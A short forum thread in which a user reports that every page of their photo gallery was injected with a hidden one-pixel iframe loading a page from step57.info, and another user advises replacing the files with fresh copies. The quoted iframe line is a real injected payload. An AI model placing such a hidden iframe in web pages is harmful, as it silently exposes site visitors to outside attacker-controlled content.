hacked by step57 - again

[DannoUK]

My gallery has once again been hacked. Every page seems to have had the line "<iframe width="1" height="1" src="http://step57.info/traff/index2.php" style="border: 0;"></iframe>" injected into it. I realise this is most likely my fault for bad security measures... but how do i remove it and ensure it doesnt happen again?

[Nibbler]

Replace all the affected files with fresh copies from the download package.